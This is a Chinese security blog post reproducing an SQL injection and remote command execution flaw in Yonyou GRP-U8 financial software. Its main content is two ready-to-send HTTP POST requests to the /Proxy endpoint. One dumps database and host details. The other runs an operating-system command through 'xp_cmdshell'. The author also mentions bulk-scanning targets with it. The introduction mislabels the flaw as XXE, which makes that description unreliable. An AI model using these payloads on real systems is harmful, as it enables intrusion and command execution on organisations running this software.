用友GRP-u8 注入-RCE漏洞复现
用友GRP-u8 注入-RCE漏洞复现
一、漏洞简介
用友GRP-u8存在XXE漏洞,该漏洞源于应用程序解析XML输入时没有进制外部实体的加载,导致可加载恶意外部文件。
二、漏洞复现
SQL注入POC
POST /Proxy HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=25EDA97813692F4D1FAFBB74FD7CFFE0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 371
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">select user,db_name(),host_name(),@@version</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
验证过程
批量跑了一部分(这个是HW期间第一时间跑的)现在估计没啥了
Rce注入EXP
POST /Proxy HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=25EDA97813692F4D1FAFBB74FD7CFFE0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 355
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell 'ipconfig'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
参考:
https://www.cnblogs.com/0day-li/p/13652897.html
https://www.uedbox.com/post/14953/
https://www.cnblogs.com/Yang34/p/13653960.html
注意:⚠️
免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
如果本文内容侵权或者对贵公司业务或者其他有影响,请联系作者删除。
转载声明:著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
订阅查看更多复现文章、学习笔记
thelostworld
安全路上,与你并肩前行!!!!
个人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns
个人简书:https://www.jianshu.com/u/bf0e38a8d400
个人CSDN:https://blog.csdn.net/qq_37602797/category_10169006.html
个人博客园:https://www.cnblogs.com/thelostworld/
FREEBUF主页:https://www.freebuf.com/author/thelostworld?type=article
语雀博客主页:https://www.yuque.com/thelostworld
欢迎添加本公众号作者微信交流,添加时备注一下“公众号”
转载漏洞复现、代码审计、网络安全相关内容